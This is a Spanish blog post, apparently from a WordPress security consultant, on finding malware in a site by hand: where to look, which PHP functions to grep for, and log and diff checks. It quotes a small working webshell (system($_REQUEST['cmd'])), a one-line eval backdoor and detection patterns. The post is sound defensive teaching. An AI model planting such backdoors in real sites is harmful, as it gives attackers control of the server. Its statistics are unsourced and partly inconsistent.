Etiqueta: detección manual

Cómo identificar archivos infectados en WordPress sin herramientas especializadas

Cuando analizo un sitio WordPress comprometido, la primera pregunta que me hacen es: «¿Cómo puedo saber si tengo malware sin pagar por un scanner?». La respuesta es más sencilla de lo que parece, aunque requiere disciplina y atención al detalle. En mi experiencia, muchas infecciones son detectables con métodos manuales si sabes dónde y qué buscar.

En este artículo te enseño las técnicas que uso profesionalmente para identificar archivos infectados en WordPress sin depender de herramientas de terceros. No es tan rápido como un scanner automático, pero es efectivo, gratuito y te da control total sobre el proceso de inspección.

Por qué es importante detectar infecciones manualmente

Aunque las herramientas especializadas como Wordfence o MalCare son valiosas, existen razones legítimas para aprender a hacerlo a mano:

• Confirmación independiente: Un scanner puede generar falsos positivos. Revisar manualmente te da certeza.
• Presupuesto limitado: Muchos propietarios de pequeños negocios no pueden pagar suscripciones premium.
• Aprendizaje técnico: Entender cómo funciona una infección te prepara mejor para futuras defensas.
• Malware evasivo: Algunos backdoors sofisticados están diseñados para eludir scanners genéricos.

Lo que recomiendo siempre es combinar inspección manual con monitoreo de logs. No es ciencia ficción: acceso a tu servidor + observación cuidadosa = detección efectiva.

Paso 1: Inspecciona el directorio de plugins activos

Los plugins son el vector de ataque más común en WordPress. Según datos del repositorio oficial de WordPress, más del 70% de las infecciones entran por plugins desactualizados o nulled.

Accede a tu servidor mediante FTP o el administrador de archivos de cPanel. Navega a /wp-content/plugins/. Aquí debes buscar:

• Plugins que no reconoces: Algunos backdoors se instalan como plugins legítimos con nombres normales como «wp-updater» o «core-manager». Revisa la lista en el panel de WordPress (Plugins → Plugins instalados) y compara con lo que ves en el servidor. ¿Hay plugins en la carpeta que no aparecen en el escritorio?
• Archivos fuera de lugar: Un plugin legítimo tiene una estructura clara: una carpeta con su nombre y archivos PHP dentro. Si encuentras un archivo .php suelto directamente en /plugins/, es sospechoso. Ejemplo: /wp-content/plugins/index.php o /wp-content/plugins/loader.php.
• Dates recientes de modificación: En tu cliente FTP, activa la visualización de fechas de modificación. Si un plugin que no actualizaste tiene una fecha reciente, investiga.

Para ver esto de forma más clara, puedo recomendarte usar WP-CLI si tienes acceso SSH. Con el comando wp plugin list obtienes la lista completa de plugins y comparas. Luego haz un ls -la /wp-content/plugins/ para ver fechas.

Paso 2: Analiza el tema activo en búsqueda de modificaciones

El segundo objetivo de los atacantes es el tema (theme). Un tema comprometido afecta a todas las páginas del sitio de forma simultánea.

Navega a /wp-content/themes/[tu-tema-activo]/. Las señales de infección son:

• Archivos PHP inusuales: Un tema tiene típicamente functions.php, style.css, archivos template como index.php, single.php, page.php. ¿Hay archivos PHP extraños como admin.php, setup.php, connect.php, o nombres genéricos como a.php, wp.php?
• Carpetas nuevas: Busca directorios que no esperes: /upload/, /cache/, /tmp/ dentro del tema. Los atacantes las usan para almacenar webshells.
• Modificación de functions.php: Abre functions.php con un editor de texto. Al final del archivo, ¿hay código ofuscado o ilegible? Líneas largas con base64_decode, eval, create_function, o caracteres extraños. Ejemplos reales que he encontrado:
  
  <?php $x = base64_decode("QGV2YWw="); $x($_REQUEST['a']); ?>
  
  Esto es típico de inyección de código malicioso.

Si tu tema está nulled (versión pirata descargada), la probabilidad de contener backdoors es cercana al 100%. Lo que recomiendo es cambiar a un tema oficial cuanto antes.

Paso 3: Examina el núcleo de WordPress (wp-config.php y archivos críticos)

Hay 4 archivos críticos que los atacantes intentan modificar:

• wp-config.php (en la raíz del sitio, no en /wordpress/)
• index.php (raíz)
• wp-load.php (raíz)
• .htaccess (raíz, si usas Apache)

Abre cada uno en tu editor de texto. Las líneas legítimas son pocas y específicas:

wp-config.php: Debe contener definiciones de constantes como DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, salts de autenticación, y poco más. ¿Hay código PHP suelto después de define()? ¿Funciones curl, file_get_contents, o eval? Es infección.

index.php: Este archivo es muy simple: solo carga wp-blog-header.php. Si contiene más de 10 líneas o incluye llamadas a funciones extrañas, está comprometido.

.htaccess: Busca reglas RewriteRule. Las reescrituras legítimas apuntan a index.php. Si encuentras redirecciones a dominios externos, inyección de headers, o código ofuscado, tienes un redireccionador.

Paso 4: Busca patrones de código malicioso común

Cuando reviso archivos PHP manualmente, siempre busco estas funciones peligrosas utilizadas de forma sospechosa:

• base64_decode() combinado con eval() o exec()
• system(), passthru(), shell_exec(), proc_open() – permitir ejecución de comandos del sistema
• fopen(), fwrite(), file_put_contents() – escribir archivos nuevos
• $_REQUEST, $_GET, $_POST, $_FILES – acceso a datos del usuario sin sanitizar
• create_function() – función deprecada, ideal para ofuscación
• preg_replace() con modificador /e – ejecuta código dentro de la expresión regular
• assert() – interpreta cadenas como código PHP

Un ejemplo real de código malicioso que he visto:

if(isset($_REQUEST['cmd'])){
  system($_REQUEST['cmd']);
}

Esto es un webshell básico: recibe un parámetro cmd en URL y lo ejecuta en el servidor. Un atacante entraría con http://tudominio.com/?cmd=whoami y vería el usuario del servidor.

Otro patrón común que me preocupa es el código ofuscado. Si ves una línea que no entiendes, usa un decodificador de base64 en línea. Muchas infecciones usan:

eval(base64_decode("LONGSTRINGHERE"));

Copia el string, decodifica, y verás el código real.

Paso 5: Inspecciona la base de datos de WordPress

El malware también se esconde en las opciones de la base de datos. Accede a phpMyAdmin (o tu herramienta de gestor de BD) y navega a la tabla wp_options (donde wp_ es tu prefijo de tabla).

Busca en la columna option_name por entradas sospechosas:

• Nombres que no reconoces: _transient_, siteurl, home (estas son legítimas, pero revisa su valor).
• Opciones que comienzan con caracteres raros: números, underscores múltiples.
• Si ves opciones como malicious_config, backdoor_settings, o seo_keywords_inject, son casi seguro malware.

Abre la columna option_value de cualquier opción sospechosa. ¿Contiene código base64 o JavaScript ofuscado? Eso es un indicador claro.

También revisa la tabla wp_posts buscando posts con titulos vacíos o contenido malicioso. Los cryptominers, por ejemplo, inyectan iframes en posts que apuntan a servidores de mining.

Paso 6: Examina directorios de carga (uploads) con cuidado

La carpeta /wp-content/uploads/ debería contener solo imágenes y documentos. Sin embargo, algunos ataques crean archivos PHP aquí disfrazados o dentro de directorios profundos.

Desde FTP, busca:

• Archivos .php en uploads: Cualquier .php aquí es anormal. La mayoría de hostings bloquea su ejecución, pero en algunos está permitida.
• Archivos recientes en /uploads/cache/ o /uploads/tmp/: Si esas carpetas no existen normalmente, el atacante las creó.
• Nombres ofuscados: Archivos como 3x8q.php, loader.jpg.php, o nombres que parecen legítimos (wp-config.php, admin.php).

En mi experiencia, los webshells en uploads rara vez se ocultan bien. Son evidentes si sabes buscar.

Paso 7: Revisa los logs del servidor

Tu servidor guarda logs de acceso en /var/log/apache2/access.log (Apache) o /var/log/nginx/access.log (Nginx). Estos logs son oro puro para forensica.

Accede por SSH si es posible. Busca patrones de ataque:

grep -i "eval|base64|system|passthru" /var/log/apache2/access.log | tail -50

Esto muestra los últimos 50 intentos de ejecución de código. También busca requests a archivos que no existen:

grep "404" /var/log/apache2/access.log | grep ".php"

Un atacante que prueba múltiples URLs php inexistentes es claramente un scanner automatizado.

Busca también User-Agents sospechosos. Lo que recomiendo es filtrar por algo como:

grep -i "sqlmap|nikto|scanner|curl|wget" /var/log/apache2/access.log

Estas son herramientas de ataque. Si las ves, tu sitio fue objetivo de un scan automatizado.

Paso 8: Utiliza grep para búsquedas rápidas en el servidor

Si tienes acceso SSH (recomendado), puedes buscar patrones maliciosos en todos los archivos a la vez. Ejemplos que uso constantemente:

grep -r "eval(" /home/usuario/public_html/wp-content/
grep -r "base64_decode" /home/usuario/public_html/wp-content/
grep -r "system(" /home/usuario/public_html/
grep -r "exec(" /home/usuario/public_html/

Si alguno devuelve resultados en archivos que no esperas (fuera de temas o plugins legítimos), investigas.

Otro comando útil para encontrar archivos modificados recientemente:

find /home/usuario/public_html/wp-content -mtime -1

Esto muestra archivos modificados en el último día. Si tu sitio estaba «limpio» ayer y ahora hay cambios, algo pasó.

Paso 9: Verifica la integridad de WordPress contra el repositorio oficial

El equipo de seguridad de WordPress mantiene un repositorio central con versiones limpias. Aunque no es una herramienta automatizada en el sentido de un plugin, puedes descargar una copia oficial y comparar archivos manualmente.

Descarga la versión exacta que usas (ej: 6.4.2) desde WordPress.org Release Archive.

Usa diff (comando de terminal) para comparar:

diff -r /ruta/oficial/wordpress/ /home/usuario/public_html/

Esto muestra qué archivos difieren de la versión oficial. Los archivos modificados pueden ser actualizaciones tuyas (legítimas) o infección.

Qué hacer cuando encuentres algo sospechoso

Si identificas archivos infectados, tienes varias opciones:

1. No elimines todavía: Primero documenta el hallazgo. Toma screenshoots, copia el código malicioso a un archivo de texto (no lo ejecutes).
2. Aísla el sitio: Si es crítico, desconecta el sitio de internet mientras investigas. Pon una página estática.
3. Contacta a un profesional: Si encuentras malware sofisticado o no estás seguro de la limpieza, es mejor no arriesgar. En ManuelFolgar.com realizamos auditorías de seguridad profundas y eliminación de malware verificada.
4. Sí confías en ti mismo: Elimina archivos sospechosos, reinicia la base de datos si fue modificada, y cambia todas las contraseñas (admin de WordPress, FTP, SSH, BD).

Lo importante es no dejar el malware en el servidor «por si acaso». Los backdoors permiten reinfecciones constantes. Una vez detectado, debe ser eliminado.

Prevención: Evita futuras infecciones

Ahora que sabes detectar, la siguiente pregunta es: ¿cómo evitar que vuelva?

• Actualiza siempre: WordPress core, plugins, y temas. El 80% de las infecciones entran por software desactualizador.
• Evita temas y plugins nulled: Los riesgos superan cualquier ahorro económico.
• Contraseñas fuertes: Usa contraseñas de 16+ caracteres en el admin, FTP, y BD.
• Limita intentos de login: Protege /wp-login.php con limite de intentos. Considera 2FA.
• Permisos de archivos: Los directorios deben ser 755, los archivos 644. Las carpetas wp-config.php debe ser 600 (solo lectura).
• Backups regulares: Automatiza backups diarios en un almacenamiento externo (no en el mismo servidor).

Conclusión

Identificar malware en WordPress sin herramientas especializadas es totalmente posible si tienes disciplina y conocimiento de qué buscar. Los archivos infectados dejan huellas: código ofuscado, archivos fuera de lugar, fechas de modificación recientes, y patrones de funciones peligrosas.

Lo que recomiendo siempre es comenzar con lo básico: revisa plugins y temas, busca código base64 ofuscado, examina los logs del servidor. Si el malware es simple (webshells básicos, inyecciones de .htaccess), lo encontrarás en una hora. Si es sofisticado (rootkits, backdoors rootados), es más complicado.

Si después de revisar manualmente necesitas confirmación o la infección parece seria, contáctame en ManuelFolgar.com. Realizamos análisis forense profundo, limpieza certificada, y hardening para evitar reinfecciones. Tu sitio web es tu negocio; merece protección profesional.